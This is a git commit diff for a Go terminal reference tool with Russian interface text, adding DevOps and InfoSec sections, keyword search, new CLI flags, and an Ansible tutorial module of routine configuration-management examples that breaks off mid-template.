Added new modules and search
This commit is contained in:
parent
01f899d831
commit
def9f8127f
26 changed files with 4858 additions and 11 deletions
|
|
@ -21,6 +21,8 @@ type Book struct {
|
|||
var All = []Book{
|
||||
GoBook,
|
||||
LinuxBook,
|
||||
DevOpsBook,
|
||||
InfoSecBook,
|
||||
}
|
||||
|
||||
// Find ищет книгу по ключу или алиасу
|
||||
|
|
@ -66,8 +68,13 @@ func ShowMainMenu() {
|
|||
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
|
||||
}
|
||||
|
||||
// RunInteractive — главный интерактивный цикл
|
||||
// RunInteractive — главный интерактивный цикл (алиас)
|
||||
func RunInteractive(scanner *bufio.Scanner) {
|
||||
RunInteractiveWithSearch(scanner)
|
||||
}
|
||||
|
||||
// RunInteractiveWithSearch — главный цикл с поддержкой поиска
|
||||
func RunInteractiveWithSearch(scanner *bufio.Scanner) {
|
||||
for {
|
||||
ShowMainMenu()
|
||||
|
||||
|
|
@ -85,6 +92,38 @@ func RunInteractive(scanner *bufio.Scanner) {
|
|||
return
|
||||
}
|
||||
|
||||
// Поиск: /ansible или search ansible
|
||||
query := ""
|
||||
if strings.HasPrefix(input, "/") {
|
||||
query = strings.TrimSpace(input[1:])
|
||||
} else if strings.HasPrefix(strings.ToLower(input), "search ") {
|
||||
query = strings.TrimSpace(input[7:])
|
||||
} else if strings.ToLower(input) == "search" {
|
||||
fmt.Printf("\n %s%sВведите поисковый запрос:%s ", utils.ColorBold, utils.ColorGreen, utils.ColorReset)
|
||||
if scanner.Scan() {
|
||||
query = strings.TrimSpace(scanner.Text())
|
||||
}
|
||||
}
|
||||
|
||||
if query != "" {
|
||||
results := Search(query)
|
||||
ShowSearchResults(query, results)
|
||||
if len(results) > 0 {
|
||||
fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — назад в меню):%s ",
|
||||
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
|
||||
if scanner.Scan() {
|
||||
choice := strings.TrimSpace(scanner.Text())
|
||||
if n, err := strconv.Atoi(choice); err == nil && n >= 1 && n <= len(results) {
|
||||
fmt.Println()
|
||||
results[n-1].RunFunc()
|
||||
fmt.Printf("\n %s%s[Enter — вернуться в меню]%s ", utils.ColorDim, utils.ColorCyan, utils.ColorReset)
|
||||
scanner.Scan()
|
||||
}
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// По номеру
|
||||
if n, err := strconv.Atoi(input); err == nil {
|
||||
if n >= 1 && n <= len(All) {
|
||||
|
|
@ -96,13 +135,13 @@ func RunInteractive(scanner *bufio.Scanner) {
|
|||
continue
|
||||
}
|
||||
|
||||
// По ключу
|
||||
// По ключу справочника
|
||||
if b, ok := Find(input); ok {
|
||||
b.Run(scanner)
|
||||
continue
|
||||
}
|
||||
|
||||
fmt.Printf("\n %s%sНе понял '%s'. Введите номер или ключ справочника.%s\n",
|
||||
fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ справочника, /запрос для поиска.%s\n",
|
||||
utils.ColorBold, utils.ColorRed, input, utils.ColorReset)
|
||||
}
|
||||
}
|
||||
|
|
@ -113,16 +152,24 @@ func ShowHelp() {
|
|||
|
||||
utils.Section("Запуск")
|
||||
utils.Command("./rubric", "главное меню")
|
||||
utils.Command("./rubric -book go", "открыть справочник напрямую")
|
||||
utils.Command("./rubric -book go", "открыть справочник")
|
||||
utils.Command("./rubric -book go -topic basics", "открыть конкретный раздел")
|
||||
utils.Command("./rubric -search ansible", "поиск по всем справочникам")
|
||||
utils.Command("./rubric -search 'sql injection'", "поиск по нескольким словам")
|
||||
utils.Command("./rubric -list", "список всех справочников и разделов")
|
||||
utils.Command("./rubric -help", "эта справка")
|
||||
fmt.Println()
|
||||
|
||||
utils.Section("Поиск в интерактивном режиме")
|
||||
utils.Command("/ansible", "поиск по запросу (начать с /)")
|
||||
utils.Command("search nmap", "поиск командой search")
|
||||
utils.Command("search", "поиск (запросит строку)")
|
||||
fmt.Println()
|
||||
|
||||
utils.Section("Доступные справочники")
|
||||
for _, b := range All {
|
||||
keys := append([]string{b.Key}, b.Aliases...)
|
||||
fmt.Printf(" %s%s%-8s%s %-30s %sключи: %s%s\n",
|
||||
fmt.Printf(" %s%s%-8s%s %-34s %sключи: %s%s\n",
|
||||
utils.ColorBold, utils.ColorCyan, b.Key, utils.ColorReset,
|
||||
b.Title,
|
||||
utils.ColorDim, strings.Join(keys, ", "), utils.ColorReset,
|
||||
|
|
|
|||
99
catalog/devopsboo.go
Normal file
99
catalog/devopsboo.go
Normal file
|
|
@ -0,0 +1,99 @@
|
|||
package catalog
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"rubric/modules/devopsmodules"
|
||||
"rubric/utils"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var DevOpsBook = Book{
|
||||
Key: "devops",
|
||||
Aliases: []string{"do", "dev"},
|
||||
Title: "Справочник по DevOps",
|
||||
Description: "Git, Docker, Kubernetes, CI/CD, Ansible, Terraform, мониторинг, Nginx",
|
||||
Run: runDevOpsBook,
|
||||
}
|
||||
|
||||
func runDevOpsBook(scanner *bufio.Scanner) {
|
||||
for {
|
||||
showDevOpsMenu()
|
||||
input, ok := ReadLine(scanner)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if input == "" {
|
||||
continue
|
||||
}
|
||||
if IsQuit(input) {
|
||||
fmt.Printf("\n %s%sДо свидания!%s\n\n", utils.ColorBold, utils.ColorCyan, utils.ColorReset)
|
||||
return
|
||||
}
|
||||
if IsBack(input) {
|
||||
return
|
||||
}
|
||||
if n, err := strconv.Atoi(input); err == nil {
|
||||
if n >= 1 && n <= len(devopsmodules.All) {
|
||||
devopsmodules.All[n-1].Run()
|
||||
waitDevOpsBack(scanner)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("\n %s%sНомер %d вне диапазона (1–%d)%s\n",
|
||||
utils.ColorBold, utils.ColorRed, n, len(devopsmodules.All), utils.ColorReset)
|
||||
continue
|
||||
}
|
||||
if m, ok := devopsmodules.Find(input); ok {
|
||||
m.Run()
|
||||
waitDevOpsBack(scanner)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ раздела, b — назад.%s\n",
|
||||
utils.ColorBold, utils.ColorRed, input, utils.ColorReset)
|
||||
}
|
||||
}
|
||||
|
||||
func showDevOpsMenu() {
|
||||
utils.Header("Справочник DevOps")
|
||||
fmt.Printf(" %s%sРазделы:%s\n\n", utils.ColorBold, utils.ColorWhite, utils.ColorReset)
|
||||
for i, m := range devopsmodules.All {
|
||||
aliases := ""
|
||||
if len(m.Aliases) > 0 {
|
||||
aliases = fmt.Sprintf("%s [%s]%s", utils.ColorDim, strings.Join(m.Aliases, ", "), utils.ColorReset)
|
||||
}
|
||||
fmt.Printf(" %s%s %2d.%s %s%-14s%s %s%-28s%s%s\n",
|
||||
utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset,
|
||||
utils.ColorYellow+utils.ColorBold, m.Key, utils.ColorReset,
|
||||
utils.ColorWhite, m.Title, utils.ColorReset, aliases)
|
||||
fmt.Printf(" %s%s%s\n\n", utils.ColorDim, m.Description, utils.ColorReset)
|
||||
}
|
||||
fmt.Printf(" %s%sРаздел (номер / ключ / b — главное меню / q — выход):%s ",
|
||||
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
|
||||
}
|
||||
|
||||
type devopsBackSignal struct{}
|
||||
|
||||
func waitDevOpsBack(scanner *bufio.Scanner) {
|
||||
fmt.Printf("\n %s%s[Enter — назад в меню DevOps, b — главное меню]%s ",
|
||||
utils.ColorDim, utils.ColorCyan, utils.ColorReset)
|
||||
if scanner.Scan() {
|
||||
if IsBack(strings.TrimSpace(scanner.Text())) {
|
||||
panic(devopsBackSignal{})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
orig := DevOpsBook.Run
|
||||
DevOpsBook.Run = func(scanner *bufio.Scanner) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
if _, ok := r.(devopsBackSignal); !ok {
|
||||
panic(r)
|
||||
}
|
||||
}
|
||||
}()
|
||||
orig(scanner)
|
||||
}
|
||||
}
|
||||
99
catalog/infosecbook.go
Normal file
99
catalog/infosecbook.go
Normal file
|
|
@ -0,0 +1,99 @@
|
|||
package catalog
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"rubric/modules/infosecmodules"
|
||||
"rubric/utils"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var InfoSecBook = Book{
|
||||
Key: "infosec",
|
||||
Aliases: []string{"sec", "security", "is"},
|
||||
Title: "Справочник по InfoSec",
|
||||
Description: "Основы ИБ, криптография, PKI/TLS, сетевая безопасность, OWASP, hardening, инструменты",
|
||||
Run: runInfoSecBook,
|
||||
}
|
||||
|
||||
func runInfoSecBook(scanner *bufio.Scanner) {
|
||||
for {
|
||||
showInfoSecMenu()
|
||||
input, ok := ReadLine(scanner)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if input == "" {
|
||||
continue
|
||||
}
|
||||
if IsQuit(input) {
|
||||
fmt.Printf("\n %s%sДо свидания!%s\n\n", utils.ColorBold, utils.ColorCyan, utils.ColorReset)
|
||||
return
|
||||
}
|
||||
if IsBack(input) {
|
||||
return
|
||||
}
|
||||
if n, err := strconv.Atoi(input); err == nil {
|
||||
if n >= 1 && n <= len(infosecmodules.All) {
|
||||
infosecmodules.All[n-1].Run()
|
||||
waitInfoSecBack(scanner)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("\n %s%sНомер %d вне диапазона (1–%d)%s\n",
|
||||
utils.ColorBold, utils.ColorRed, n, len(infosecmodules.All), utils.ColorReset)
|
||||
continue
|
||||
}
|
||||
if m, ok := infosecmodules.Find(input); ok {
|
||||
m.Run()
|
||||
waitInfoSecBack(scanner)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ раздела, b — назад.%s\n",
|
||||
utils.ColorBold, utils.ColorRed, input, utils.ColorReset)
|
||||
}
|
||||
}
|
||||
|
||||
func showInfoSecMenu() {
|
||||
utils.Header("Справочник InfoSec")
|
||||
fmt.Printf(" %s%sРазделы:%s\n\n", utils.ColorBold, utils.ColorWhite, utils.ColorReset)
|
||||
for i, m := range infosecmodules.All {
|
||||
aliases := ""
|
||||
if len(m.Aliases) > 0 {
|
||||
aliases = fmt.Sprintf("%s [%s]%s", utils.ColorDim, strings.Join(m.Aliases, ", "), utils.ColorReset)
|
||||
}
|
||||
fmt.Printf(" %s%s %2d.%s %s%-12s%s %s%-30s%s%s\n",
|
||||
utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset,
|
||||
utils.ColorYellow+utils.ColorBold, m.Key, utils.ColorReset,
|
||||
utils.ColorWhite, m.Title, utils.ColorReset, aliases)
|
||||
fmt.Printf(" %s%s%s\n\n", utils.ColorDim, m.Description, utils.ColorReset)
|
||||
}
|
||||
fmt.Printf(" %s%sРаздел (номер / ключ / b — главное меню / q — выход):%s ",
|
||||
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
|
||||
}
|
||||
|
||||
type infosecBackSignal struct{}
|
||||
|
||||
func waitInfoSecBack(scanner *bufio.Scanner) {
|
||||
fmt.Printf("\n %s%s[Enter — назад в меню InfoSec, b — главное меню]%s ",
|
||||
utils.ColorDim, utils.ColorCyan, utils.ColorReset)
|
||||
if scanner.Scan() {
|
||||
if IsBack(strings.TrimSpace(scanner.Text())) {
|
||||
panic(infosecBackSignal{})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
orig := InfoSecBook.Run
|
||||
InfoSecBook.Run = func(scanner *bufio.Scanner) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
if _, ok := r.(infosecBackSignal); !ok {
|
||||
panic(r)
|
||||
}
|
||||
}
|
||||
}()
|
||||
orig(scanner)
|
||||
}
|
||||
}
|
||||
239
catalog/search.go
Normal file
239
catalog/search.go
Normal file
|
|
@ -0,0 +1,239 @@
|
|||
package catalog
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"rubric/modules/devopsmodules"
|
||||
"rubric/modules/gomodules"
|
||||
"rubric/modules/infosecmodules"
|
||||
"rubric/modules/linuxmodules"
|
||||
"rubric/utils"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SearchResult — одно совпадение поиска
|
||||
type SearchResult struct {
|
||||
BookKey string
|
||||
BookTitle string
|
||||
ModKey string
|
||||
ModTitle string
|
||||
ModDesc string
|
||||
RunFunc func()
|
||||
Score int // количество совпадений
|
||||
}
|
||||
|
||||
// searchEntry — унифицированная запись для поиска
|
||||
type searchEntry struct {
|
||||
bookKey string
|
||||
bookTitle string
|
||||
modKey string
|
||||
modTitle string
|
||||
modDesc string
|
||||
keywords []string
|
||||
run func()
|
||||
}
|
||||
|
||||
// Все записи для поиска — строим один раз
|
||||
var allEntries = buildSearchIndex()
|
||||
|
||||
func buildSearchIndex() []searchEntry {
|
||||
entries := []searchEntry{}
|
||||
|
||||
// Go
|
||||
for _, m := range gomodules.All {
|
||||
entries = append(entries, searchEntry{
|
||||
bookKey: "go", bookTitle: "Go",
|
||||
modKey: m.Key, modTitle: m.Title, modDesc: m.Description,
|
||||
keywords: gomodules.Keywords(m.Key),
|
||||
run: m.Run,
|
||||
})
|
||||
}
|
||||
|
||||
// Linux
|
||||
for _, m := range linuxmodules.All {
|
||||
entries = append(entries, searchEntry{
|
||||
bookKey: "linux", bookTitle: "Linux",
|
||||
modKey: m.Key, modTitle: m.Title, modDesc: m.Description,
|
||||
keywords: linuxmodules.Keywords(m.Key),
|
||||
run: m.Run,
|
||||
})
|
||||
}
|
||||
|
||||
// DevOps
|
||||
for _, m := range devopsmodules.All {
|
||||
entries = append(entries, searchEntry{
|
||||
bookKey: "devops", bookTitle: "DevOps",
|
||||
modKey: m.Key, modTitle: m.Title, modDesc: m.Description,
|
||||
keywords: devopsmodules.Keywords(m.Key),
|
||||
run: m.Run,
|
||||
})
|
||||
}
|
||||
|
||||
// InfoSec
|
||||
for _, m := range infosecmodules.All {
|
||||
entries = append(entries, searchEntry{
|
||||
bookKey: "infosec", bookTitle: "InfoSec",
|
||||
modKey: m.Key, modTitle: m.Title, modDesc: m.Description,
|
||||
keywords: infosecmodules.Keywords(m.Key),
|
||||
run: m.Run,
|
||||
})
|
||||
}
|
||||
|
||||
return entries
|
||||
}
|
||||
|
||||
// Search выполняет поиск по запросу, возвращает отсортированные результаты
|
||||
func Search(query string) []SearchResult {
|
||||
query = strings.ToLower(strings.TrimSpace(query))
|
||||
if query == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Разбить запрос на слова
|
||||
words := strings.Fields(query)
|
||||
|
||||
var results []SearchResult
|
||||
|
||||
for _, e := range allEntries {
|
||||
score := 0
|
||||
|
||||
// Текст для поиска: ключевые слова + название + описание
|
||||
searchText := strings.ToLower(
|
||||
e.modKey + " " +
|
||||
e.modTitle + " " +
|
||||
e.modDesc + " " +
|
||||
strings.Join(e.keywords, " "),
|
||||
)
|
||||
|
||||
for _, word := range words {
|
||||
if len(word) < 2 {
|
||||
continue
|
||||
}
|
||||
// Точное совпадение в ключевых словах — больший вес
|
||||
for _, kw := range e.keywords {
|
||||
if strings.EqualFold(kw, word) {
|
||||
score += 10
|
||||
} else if strings.Contains(strings.ToLower(kw), word) {
|
||||
score += 5
|
||||
}
|
||||
}
|
||||
// Совпадение в ключе модуля
|
||||
if strings.Contains(e.modKey, word) {
|
||||
score += 8
|
||||
}
|
||||
// Совпадение в названии
|
||||
if strings.Contains(strings.ToLower(e.modTitle), word) {
|
||||
score += 6
|
||||
}
|
||||
// Совпадение в описании
|
||||
if strings.Contains(strings.ToLower(e.modDesc), word) {
|
||||
score += 3
|
||||
}
|
||||
// Совпадение в общем тексте
|
||||
if strings.Contains(searchText, word) && score == 0 {
|
||||
score += 1
|
||||
}
|
||||
}
|
||||
|
||||
if score > 0 {
|
||||
results = append(results, SearchResult{
|
||||
BookKey: e.bookKey,
|
||||
BookTitle: e.bookTitle,
|
||||
ModKey: e.modKey,
|
||||
ModTitle: e.modTitle,
|
||||
ModDesc: e.modDesc,
|
||||
RunFunc: e.run,
|
||||
Score: score,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Сортировать по релевантности
|
||||
sort.Slice(results, func(i, j int) bool {
|
||||
return results[i].Score > results[j].Score
|
||||
})
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ShowSearchResults выводит результаты поиска
|
||||
func ShowSearchResults(query string, results []SearchResult) {
|
||||
fmt.Printf("\n%s%s🔍 Поиск: \"%s\"%s\n\n",
|
||||
utils.ColorBold, utils.ColorCyan, query, utils.ColorReset)
|
||||
|
||||
if len(results) == 0 {
|
||||
fmt.Printf(" %sНичего не найдено по запросу \"%s\"%s\n\n",
|
||||
utils.ColorDim, query, utils.ColorReset)
|
||||
fmt.Printf(" Попробуйте другие слова. Примеры: ansible, nmap, docker, jwt, selinux\n\n")
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(" %s%sНайдено разделов: %d%s\n\n",
|
||||
utils.ColorBold, utils.ColorGreen, len(results), utils.ColorReset)
|
||||
|
||||
for i, r := range results {
|
||||
bookColor := bookColorFor(r.BookKey)
|
||||
fmt.Printf(" %s%s%2d.%s %s[%s]%s %s%-12s%s — %s%s%s\n",
|
||||
utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset,
|
||||
utils.ColorBold+bookColor, r.BookTitle, utils.ColorReset,
|
||||
utils.ColorYellow+utils.ColorBold, r.ModKey, utils.ColorReset,
|
||||
utils.ColorWhite, r.ModTitle, utils.ColorReset,
|
||||
)
|
||||
fmt.Printf(" %s%s%s\n",
|
||||
utils.ColorDim, r.ModDesc, utils.ColorReset)
|
||||
fmt.Printf(" %sОткрыть: ./rubric -book %s -topic %s%s\n\n",
|
||||
utils.ColorDim, r.BookKey, r.ModKey, utils.ColorReset)
|
||||
}
|
||||
}
|
||||
|
||||
func bookColorFor(key string) string {
|
||||
switch key {
|
||||
case "go":
|
||||
return utils.ColorCyan
|
||||
case "linux":
|
||||
return utils.ColorGreen
|
||||
case "devops":
|
||||
return utils.ColorMagenta
|
||||
case "infosec":
|
||||
return utils.ColorRed
|
||||
}
|
||||
return utils.ColorWhite
|
||||
}
|
||||
|
||||
// InteractiveSearch — интерактивный поиск с возможностью открыть раздел
|
||||
func InteractiveSearch(query string, scanner interface {
|
||||
Scan() bool
|
||||
Text() string
|
||||
}) {
|
||||
results := Search(query)
|
||||
ShowSearchResults(query, results)
|
||||
|
||||
if len(results) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — пропустить):%s ",
|
||||
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
|
||||
|
||||
if !scanner.Scan() {
|
||||
return
|
||||
}
|
||||
input := strings.TrimSpace(scanner.Text())
|
||||
if input == "" {
|
||||
return
|
||||
}
|
||||
|
||||
n := 0
|
||||
for _, ch := range input {
|
||||
if ch >= '0' && ch <= '9' {
|
||||
n = n*10 + int(ch-'0')
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if n >= 1 && n <= len(results) {
|
||||
fmt.Println()
|
||||
results[n-1].RunFunc()
|
||||
}
|
||||
}
|
||||
63
main.go
63
main.go
|
|
@ -6,15 +6,19 @@ import (
|
|||
"fmt"
|
||||
"os"
|
||||
"rubric/catalog"
|
||||
"rubric/modules/devopsmodules"
|
||||
"rubric/modules/gomodules"
|
||||
"rubric/modules/infosecmodules"
|
||||
"rubric/modules/linuxmodules"
|
||||
"rubric/utils"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func main() {
|
||||
book := flag.String("book", "", "открыть справочник напрямую (go, linux)")
|
||||
book := flag.String("book", "", "открыть справочник (go, linux, devops, infosec)")
|
||||
topic := flag.String("topic", "", "открыть раздел (используется вместе с -book)")
|
||||
list := flag.Bool("list", false, "список всех справочников и разделов")
|
||||
search := flag.String("search", "", "поиск по всем справочникам")
|
||||
list := flag.Bool("list", false, "список всех справочников")
|
||||
help := flag.Bool("help", false, "справка по использованию")
|
||||
flag.Parse()
|
||||
|
||||
|
|
@ -24,19 +28,48 @@ func main() {
|
|||
catalog.ShowHelp()
|
||||
return
|
||||
}
|
||||
|
||||
if *list {
|
||||
catalog.ListAll()
|
||||
return
|
||||
}
|
||||
|
||||
// Поиск через флаг: ./rubric -search ansible
|
||||
if *search != "" {
|
||||
results := catalog.Search(*search)
|
||||
catalog.ShowSearchResults(*search, results)
|
||||
if len(results) > 0 {
|
||||
fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — пропустить):%s ",
|
||||
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
|
||||
if scanner.Scan() {
|
||||
input := strings.TrimSpace(scanner.Text())
|
||||
if input != "" {
|
||||
n := 0
|
||||
valid := true
|
||||
for _, ch := range input {
|
||||
if ch >= '0' && ch <= '9' {
|
||||
n = n*10 + int(ch-'0')
|
||||
} else {
|
||||
valid = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if valid && n >= 1 && n <= len(results) {
|
||||
fmt.Println()
|
||||
results[n-1].RunFunc()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// -book X -topic Y
|
||||
if *book != "" && *topic != "" {
|
||||
switch *book {
|
||||
case "go", "g", "golang":
|
||||
m, ok := gomodules.Find(*topic)
|
||||
if !ok {
|
||||
fmt.Printf("\n %s%sРаздел '%s' не найден в справочнике Go.%s\n",
|
||||
fmt.Printf("\n %s%sРаздел '%s' не найден в Go.%s\n",
|
||||
utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset)
|
||||
gomodules.ListModules()
|
||||
os.Exit(1)
|
||||
|
|
@ -45,12 +78,30 @@ func main() {
|
|||
case "linux", "l", "lnx":
|
||||
m, ok := linuxmodules.Find(*topic)
|
||||
if !ok {
|
||||
fmt.Printf("\n %s%sРаздел '%s' не найден в справочнике Linux.%s\n",
|
||||
fmt.Printf("\n %s%sРаздел '%s' не найден в Linux.%s\n",
|
||||
utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset)
|
||||
linuxmodules.ListModules()
|
||||
os.Exit(1)
|
||||
}
|
||||
m.Run()
|
||||
case "devops", "do", "dev":
|
||||
m, ok := devopsmodules.Find(*topic)
|
||||
if !ok {
|
||||
fmt.Printf("\n %s%sРаздел '%s' не найден в DevOps.%s\n",
|
||||
utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset)
|
||||
devopsmodules.ListModules()
|
||||
os.Exit(1)
|
||||
}
|
||||
m.Run()
|
||||
case "infosec", "sec", "security", "is":
|
||||
m, ok := infosecmodules.Find(*topic)
|
||||
if !ok {
|
||||
fmt.Printf("\n %s%sРаздел '%s' не найден в InfoSec.%s\n",
|
||||
utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset)
|
||||
infosecmodules.ListModules()
|
||||
os.Exit(1)
|
||||
}
|
||||
m.Run()
|
||||
default:
|
||||
fmt.Printf("\n %s%sСправочник '%s' не найден.%s\n",
|
||||
utils.ColorBold, utils.ColorRed, *book, utils.ColorReset)
|
||||
|
|
@ -74,5 +125,5 @@ func main() {
|
|||
}
|
||||
|
||||
// Интерактивный режим
|
||||
catalog.RunInteractive(scanner)
|
||||
catalog.RunInteractiveWithSearch(scanner)
|
||||
}
|
||||
|
|
|
|||
264
modules/devopsmodules/devops_ansible.go
Normal file
264
modules/devopsmodules/devops_ansible.go
Normal file
|
|
@ -0,0 +1,264 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var AnsibleModule = Module{
|
||||
Key: "ansible",
|
||||
Aliases: []string{"an", "ansible"},
|
||||
Title: "Ansible — управление конфигурацией",
|
||||
Description: "Инвентарь, playbook, роли, модули, vault, динамический инвентарь",
|
||||
Run: showAnsible,
|
||||
}
|
||||
|
||||
func showAnsible() {
|
||||
utils.Header("DevOps — Ansible")
|
||||
|
||||
utils.Section("Основы и установка")
|
||||
utils.Code(`Ansible — agentless: работает через SSH, не требует агентов на хостах.
|
||||
Push-модель: управляющая машина отправляет команды.
|
||||
|
||||
# Установка:
|
||||
pip install ansible # рекомендуется через pip
|
||||
dnf install ansible # RHEL/Fedora
|
||||
apt install ansible # Debian/Ubuntu
|
||||
|
||||
ansible --version
|
||||
ansible-galaxy collection install community.general`)
|
||||
|
||||
utils.Section("Инвентарь (Inventory)")
|
||||
utils.Code(`# /etc/ansible/hosts или ./inventory.ini:
|
||||
# Статический инвентарь:
|
||||
|
||||
[webservers]
|
||||
web1.example.com
|
||||
web2.example.com ansible_port=2222
|
||||
|
||||
[databases]
|
||||
db1.example.com ansible_user=dbadmin
|
||||
|
||||
[production:children]
|
||||
webservers
|
||||
databases
|
||||
|
||||
[all:vars]
|
||||
ansible_python_interpreter=/usr/bin/python3
|
||||
|
||||
# YAML-формат (inventory.yml):
|
||||
all:
|
||||
children:
|
||||
webservers:
|
||||
hosts:
|
||||
web1.example.com:
|
||||
http_port: 80
|
||||
web2.example.com:
|
||||
databases:
|
||||
hosts:
|
||||
db1.example.com:
|
||||
ansible_user: dbadmin`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Ad-hoc команды:" + utils.ColorReset)
|
||||
utils.Command("ansible all -i inventory.ini -m ping", "проверить доступность хостов")
|
||||
utils.Command("ansible webservers -m command -a 'uptime'", "выполнить команду")
|
||||
utils.Command("ansible all -m shell -a 'df -h'", "через shell")
|
||||
utils.Command("ansible webservers -m apt -a 'name=nginx state=present' -b", "установить пакет")
|
||||
utils.Command("ansible all -m gather_facts --tree /tmp/facts", "собрать факты")
|
||||
utils.Command("ansible all -m setup -a 'filter=ansible_os_family'", "конкретный факт")
|
||||
|
||||
utils.Section("Playbook")
|
||||
utils.Code(`# site.yml — основной playbook:
|
||||
---
|
||||
- name: Настройка веб-серверов
|
||||
hosts: webservers
|
||||
become: yes # sudo
|
||||
vars:
|
||||
nginx_port: 80
|
||||
app_user: www-data
|
||||
|
||||
pre_tasks:
|
||||
- name: Обновить кэш пакетов
|
||||
apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 3600
|
||||
|
||||
tasks:
|
||||
- name: Установить nginx
|
||||
package:
|
||||
name: nginx
|
||||
state: present
|
||||
|
||||
- name: Скопировать конфигурацию
|
||||
template:
|
||||
src: templates/nginx.conf.j2
|
||||
dest: /etc/nginx/nginx.conf
|
||||
owner: root
|
||||
mode: '0644'
|
||||
notify: Перезапустить nginx
|
||||
|
||||
- name: Создать директорию приложения
|
||||
file:
|
||||
path: /var/www/myapp
|
||||
state: directory
|
||||
owner: "{{ app_user }}"
|
||||
mode: '0755'
|
||||
|
||||
- name: Убедиться что nginx запущен
|
||||
service:
|
||||
name: nginx
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
handlers:
|
||||
- name: Перезапустить nginx
|
||||
service:
|
||||
name: nginx
|
||||
state: restarted
|
||||
|
||||
- name: Настройка баз данных
|
||||
hosts: databases
|
||||
become: yes
|
||||
roles:
|
||||
- role: postgresql
|
||||
vars:
|
||||
pg_version: 16`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Запуск playbook:" + utils.ColorReset)
|
||||
utils.Command("ansible-playbook site.yml -i inventory.ini", "запустить")
|
||||
utils.Command("ansible-playbook site.yml --check", "dry-run (без изменений)")
|
||||
utils.Command("ansible-playbook site.yml --diff", "показать изменения файлов")
|
||||
utils.Command("ansible-playbook site.yml --tags nginx", "только помеченные теги")
|
||||
utils.Command("ansible-playbook site.yml --skip-tags debug", "пропустить теги")
|
||||
utils.Command("ansible-playbook site.yml --limit web1.example.com", "только один хост")
|
||||
utils.Command("ansible-playbook site.yml -e 'nginx_port=8080'", "переопределить переменную")
|
||||
utils.Command("ansible-playbook site.yml -v", "verbose (-vvv для debug)")
|
||||
|
||||
utils.Section("Модули (основные)")
|
||||
utils.Code(`# Файлы и шаблоны:
|
||||
copy: — скопировать файл с управляющей машины
|
||||
template: — шаблон Jinja2
|
||||
file: — создать файл/директорию/ссылку
|
||||
fetch: — скачать файл с хоста
|
||||
lineinfile: — управление строками в файле
|
||||
blockinfile: — управление блоками
|
||||
|
||||
# Пакеты и сервисы:
|
||||
package: / apt: / dnf: / yum: — пакеты
|
||||
service: / systemd: — сервисы
|
||||
|
||||
# Команды:
|
||||
command: — выполнить команду (без shell)
|
||||
shell: — выполнить через sh
|
||||
raw: — без Python (для минимальных систем)
|
||||
script: — выполнить локальный скрипт
|
||||
|
||||
# Пользователи:
|
||||
user: — управление пользователями
|
||||
group: — управление группами
|
||||
authorized_key: — SSH-ключи
|
||||
|
||||
# Сеть:
|
||||
uri: — HTTP-запросы
|
||||
get_url: — скачать файл по URL
|
||||
wait_for: — ждать порт/файл/условие`)
|
||||
|
||||
utils.Section("Переменные и шаблоны Jinja2")
|
||||
utils.Code(`# Приоритет переменных (от низкого к высокому):
|
||||
# defaults → inventory → group_vars → host_vars → play vars → task vars → extra-vars
|
||||
|
||||
# group_vars/webservers.yml:
|
||||
nginx_version: "1.25"
|
||||
nginx_worker_processes: auto
|
||||
|
||||
# host_vars/web1.example.com.yml:
|
||||
nginx_port: 8080
|
||||
|
||||
# Шаблон templates/nginx.conf.j2:
|
||||
worker_processes {{ nginx_worker_processes }};
|
||||
|
||||
events { worker_connections 1024; }
|
||||
|
||||
http {
|
||||
server {
|
||||
listen {{ nginx_port }};
|
||||
server_name {{ inventory_hostname }};
|
